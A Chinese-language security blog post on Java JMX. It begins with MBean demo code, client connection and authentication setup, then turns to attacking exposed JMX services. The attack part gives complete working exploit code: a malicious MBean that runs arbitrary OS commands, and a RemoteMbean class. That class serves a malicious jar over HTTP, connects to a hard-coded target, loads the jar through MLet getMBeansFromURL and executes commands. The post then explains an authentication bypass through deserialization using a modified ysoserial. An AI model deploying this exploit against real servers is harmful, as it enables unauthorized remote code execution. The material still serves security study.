JMX攻击方式以及理论文章
这里就简单记录一下 其中遇到比较常见的一些东西吧。
比如jmx的地址:
service:jmx:rmi://localhost:1099/jndi/rmi://localhost:8899/myname
- service:jmx: 是JMX URL的标准前缀,所有的JMX URL都必须以该字符串开头。
- 第一个rmi指的是rmi连接器,表示连接器使用RMI传输协议【RMI连接器被指定为默认的连接器】
- localhost:1099: 是connector server的IP和端口,该部分是一个可选项,可以被省略掉。如果省略的话,则connector server会随机任意选择一个可用的端口。也就是我们常见的
service:jmx:rmi:///jndi/rmi://localhost:8899/myname
- /jndi/rmi://localhost:8899/myname: 是connector server的路径,表示Connector server的stub是使用JNDI API绑定在rmi://localhost:8899/myname这个地址上。
比如Mbean的种类
然后写一下简单的demo吧。
HelloMbean
package com.jmx;
public interface HelloMBean
{
public String getName();
public void setName(String name);
public void helloWorld();
public void helloWorld(String str);
}
Hello
package com.jmx;
public class Hello implements HelloMBean {
private String name;
public void helloWorld() {
System.out.println("hello world");
}
public void helloWorld(String str) {
System.out.println("helloWorld:" + str);
}
public String getName() {
System.out.println("get name 123");
return name;
}
public void setName(String name) {
System.out.println("set name 123");
this.name = name;
}
}
HelloAgent
package com.jmx;
import javax.management.JMException;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;
public class HelloAgent {
public static void main(String[] args) throws JMException, Exception
{
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
//通过工厂类获取MBeanServer,用来做MBean的容器
ObjectName helloName = new ObjectName("jmxBean:name=hello");
//ObjectName中的取名是有一定规范的,格式为:“域名:name=MBean名称”,其中域名和MBean的名称可以任意取
server.registerMBean(new Hello(), helloName);
//create mbean and register mbean
Thread.sleep(60*60*1000);
}
}
一个简单的JMX的DEMO已经写完了,现在我们通过JDK提供的Jconsole来进行操作
Jconsole连接jmx
jmx api还定义了一系列的生成可以使Mbean生成消息通知的机制。用于状态的变更。这里就不写了。
Java 客户端连接JMX
上面我们是工具作为客户端连接的JMX服务。这里使用java代码来连接。
首先服务器需要开启支持远程连接的端口等信息。这些信息在JVM参数配置
-Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false
我们的Mbean Client
package com.jmx;
import javax.management.MBeanServerConnection;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
public class JmxClient {
public static void main(String[] args) throws IOException {
String host = "127.0.0.1";
int port = 9999;
String url = "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi";
JMXServiceURL serviceURL = new JMXServiceURL(url);
final JMXConnector connector;
try {
connector = JMXConnectorFactory.connect(serviceURL);
} catch (IOException e) {
e.printStackTrace();
return;
}
MBeanServerConnection connection = connector.getMBeanServerConnection();
}
}
使用JMXConnectorFactory 方式连接时,JMXServiceURL 的参数 url 必须使用 service:jmx 方式进行连接,通过上面这种方式,我们得到了一个 JMX 客户端和服务器直接的连接 connection。
遍历我们MBeans信息
Set<ObjectName> objectNames = connection.queryNames(null, null);
for (ObjectName objectName : objectNames) {
System.out.println("========" + objectName + "========");
MBeanInfo mBeanInfo = connection.getMBeanInfo(objectName);
System.out.println("[Attributes]");
for (MBeanAttributeInfo attr : mBeanInfo.getAttributes()) {
Object value = null;
try {
value = attr.isReadable() ? connection.getAttribute(objectName, attr.getName()) : "";
} catch (Exception e) {
value = e.getMessage();
}
System.out.println(attr.getName() + ":" + value);
}
System.out.println("[Operations]");
for (MBeanOperationInfo oper : mBeanInfo.getOperations()) {
System.out.println(oper.getName() + ":" + oper.getDescription());
}
System.out.println("[Notifications]");
for (MBeanNotificationInfo notice : mBeanInfo.getNotifications()) {
System.out.println(notice.getName() + ":" + notice.getDescription());
}
}
首先通过 connection 的 queryNames (方法参数为 null 时)获取所有的注册的 MBean 的名字,然后对名字进行遍历,根据名字获取 MBeanInfo,在遍历获取其中的属性、操作和通知信息。在获取属性的时候,我们先判断属性是否可读,然后在通过 objectName 和属性名获取值。
再比如调用服务端的方法再原来的基础上增加
ObjectName objectName = new ObjectName("jmxBean:name=hello");
HelloMBean helloMBean = JMX.newMBeanProxy(connection, objectName, HelloMBean.class, true);
helloMBean.helloWorld("java -> jmx");
以及如果要弄消息机制通知也是可以的 服务端实现了 我们去监听获取即可。
认证加密操作
例如 我们需要添加一个账号和密码 以及对应的权限的时候。可以在服务端的JVM上配置。
-Dcom.sun.management.jmxremote.port=9999
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.access.file=D:\Java_code\jmx\src\main\java\com\conf\jmx.access
-Dcom.sun.management.jmxremote.password.file=D:\Java_code\jmx\src\main\java\com\conf\jmx.password
访问权限 jmx.access:
- 只能读取 MBean 的属性和接受通知。
- readwrite 还允许设置属性,调用方法,创建和删除 MBean。
user readonly
admin readwrite
访问密码 jmx.password:
user user
admin admin
cacls jmx.password /P 当前用户:R 玄学问题等需要重启解决。。。。以及或者使用chmod 400
在以上基础上我们增加了验证那我们java代码修改如下:
package com.jmx;
import javax.management.JMX;
import javax.management.MBeanServerConnection;
import javax.management.MalformedObjectNameException;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class JmxClient {
public static void main(String[] args) throws IOException, MalformedObjectNameException {
String host = "127.0.0.1";
int port = 9999;
String url = "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi";
Map<String, Object> environment = new HashMap<>();
environment.put(JMXConnector.CREDENTIALS, new String[]{"admin", "admin"});
JMXServiceURL serviceURL = new JMXServiceURL(url);
final JMXConnector connector;
try {
connector = JMXConnectorFactory.connect(serviceURL,environment);
} catch (IOException e) {
e.printStackTrace();
return;
}
MBeanServerConnection connection = connector.getMBeanServerConnection();
ObjectName objectName = new ObjectName("jmxBean:name=hello");
HelloMBean helloMBean = JMX.newMBeanProxy(connection, objectName, HelloMBean.class, true);
helloMBean.helloWorld("java -> jmx");
}
}
SSL
参考如下:
https://db.apache.org/derby/docs/10.10/adminguide/radminjmxenablepwdssl.html
JMX无认证攻击方式一
当无需认证的时候我们可以通过jmx客户端远程注册一个恶意的Mbean,参考
https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md
原理就是通过javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的MBean。
简单写一下
EvilMBean
package com.evil;
import java.io.IOException;
public interface EvilMBean {
public String runCommand(String cmd) throws IOException;
}
Evil
package com.evil;
import java.io.IOException;
public class Evil implements EvilMBean{
@Override
public String runCommand(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
return "ok";
}
}
打包
javac Evil*.java
jar -cvf evilMBean.jar EvilMBean.class Evil.class
RemoteMBean
package com.evil;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator;
/**
* Created by k1n9 on 2017/8/23.
*/
public class RemoteMbean {
private static String JARNAME = "evilMBean.jar";
private static String OBJECTNAME = "MLetCompromise:name=evil,id=1";
private static String EVILCLASS = "Evil";
public static void main(String[] args) {
try {
//开启Http服务,提供带mlet标签的html和恶意MBean的jar包
HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
server.createContext("/mlet", new MLetHandler());
server.createContext("/" + JARNAME, new JarHandler());
server.setExecutor(null);
server.start();
//这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
connectAndOwn("10.18.224.59", "2333", "id");
server.stop(0);
} catch (IOException e) {
e.printStackTrace();
}
}
static void connectAndOwn(String serverName, String port, String command) {
try {
//建立连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u, null);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
ObjectInstance evil_bean = null;
try {
evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
} catch (Exception e) {
evil_bean = null;
}
if (evil_bean == null) {
System.out.println("Trying to create bean...");
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
System.out.println("Loaded " + evil.getClassName());
//调用 getMBeansFromURL 从远程服务器获取 MBean
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
new String[] {String.class.getName()}
);
HashSet res_set = (HashSet)res;
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception) {
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
}
//调用恶意 MBean 中用于执行命令的函数
System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
} catch (Exception e) {
e.printStackTrace();
}
}
static class MLetHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
/**
* mlet 标签
* <MLET
* CODE = class | OBJECT = serfile
* ARCHIVE = "archiveList"
* [CODEBASE = codebaseURL]
* [NAME = mbeanname]
* [VERSION = version]
* >
* [arglist]
* </MLET>
*/
String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
System.out.println("Sending mlet: " + respone + "\n");
t.sendResponseHeaders(200, respone.length());
OutputStream os = t.getResponseBody();
os.write(respone.getBytes());
os.close();
}
}
static class JarHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
System.out.println("Request made for JAR...");
//这里的 compromise.jar 可以根据实际的路径来修改
File file = new File("C:\\Users\\Administrator\\Desktop\\evilMBean.jar");
byte[] bytearray = new byte[(int)file.length()];
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
bis.read(bytearray, 0 , bytearray.length);
t.sendResponseHeaders(200, file.length());
OutputStream os = t.getResponseBody();
os.write(bytearray, 0, bytearray.length);
os.close();
}
}
}
我们回到Jconsole发现以及注册可以调用了。
JMX无认证攻击方式二
https://github.com/mogwailabs/mjet 没试。原理是重装。
JMX认证攻击方式
上面两种方式原理一样,然而,如果开启认证,上面俩种攻击方式是不能打的。https://github.com/openjdk-mirror/jdk7u-jdk/blob/f4d80957e89a19a29bb9f9807d2a28351ed7f7df/src/share/classes/com/sun/jmx/remote/security/MBeanServerAccessController.java#L619,如下代码开启认证是不能调用jmx.remote.x.mlet.allow.getMBeansFromURL方法 需要开启或者配置访问权限才可以。
所以yso中实际上是调用任意MBean方法,但是参数换成了我object导致的。即使该账户没有任何权限也是可以完成的。因为反序列化是在实际权限检查之前进行的。如图所示修改yso
调用链简单分析
无认证调用链
get:183, MarshalledObject (java.rmi)
unwrap:1583, RMIConnectionImpl (javax.management.remote.rmi)
unwrap:1624, RMIConnectionImpl (javax.management.remote.rmi)
invoke:812, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 986299174 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
MBean Server接收到数据后,会对获取到的参数数据进行object[]转换,在转换前,需要将RMI交互过程中的序列化数据进行反序列化导致可以利用。
需认证调用链
get:182, MarshalledObject (java.rmi)
lambda$unwrap$0:1581, RMIConnectionImpl (javax.management.remote.rmi)
run:-1, 2085224793 (javax.management.remote.rmi.RMIConnectionImpl$$Lambda$9)
doPrivileged:-1, AccessController (java.security)
unwrap:1579, RMIConnectionImpl (javax.management.remote.rmi)
unwrap:1624, RMIConnectionImpl (javax.management.remote.rmi)
invoke:812, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 324582182 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
对比发现就是多了下面几步。
lambda$unwrap$0:1581, RMIConnectionImpl (javax.management.remote.rmi)
run:-1, 2085224793 (javax.management.remote.rmi.RMIConnectionImpl$$Lambda$9)
doPrivileged:-1, AccessController (java.security)
区别在于如下。
如果是认证在反序列化我们的恶意数据之前 先进行对我们传入认证进行了一次类型反序列化后的检查,需要在白名单之类,只能为 String 或者 String字符串类型
当前的调用链
check:260, RMIJRMPServerImpl$ExportedWrapper (javax.management.remote.rmi)
validateDescriptor:673, UnicastServerRef$MyChecker (sun.rmi.server)
validateDesc:354, MarshalInputStream (sun.rmi.server)
readClassDescriptor:343, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1857, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readArray:1930, ObjectInputStream (java.io)
readObject0:1567, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
unmarshalValue:322, UnicastRef (sun.rmi.server)
unmarshalParametersChecked:650, UnicastServerRef (sun.rmi.server)
unmarshalParameters:616, UnicastServerRef (sun.rmi.server)
dispatch:338, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 2065149174 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
而上面var1是那里来的呢是在创建jmx的时候已经进行了封装RMIConnectorServer#newJRMPServer
其中即使我们没有设置 我这里依然显示env为两个String 别的师傅为null 但这不影响。
理论原理文章请参考:
https://www.cnblogs.com/dongguacai/p/5900507.html
https://www.iteye.com/blog/chenjumin-2247628
https://nosec.org/home/detail/2544.html //老外翻译 全一些
https://www.anquanke.com/post/id/202686#h3-5
https://blog.csdn.net/isea533/article/details/77431044 jmx基础操作
https://liuzh.blog.csdn.net/article/details/77455973 jmx客户端
https://liuzh.blog.csdn.net/article/details/77600542 jmx认证加密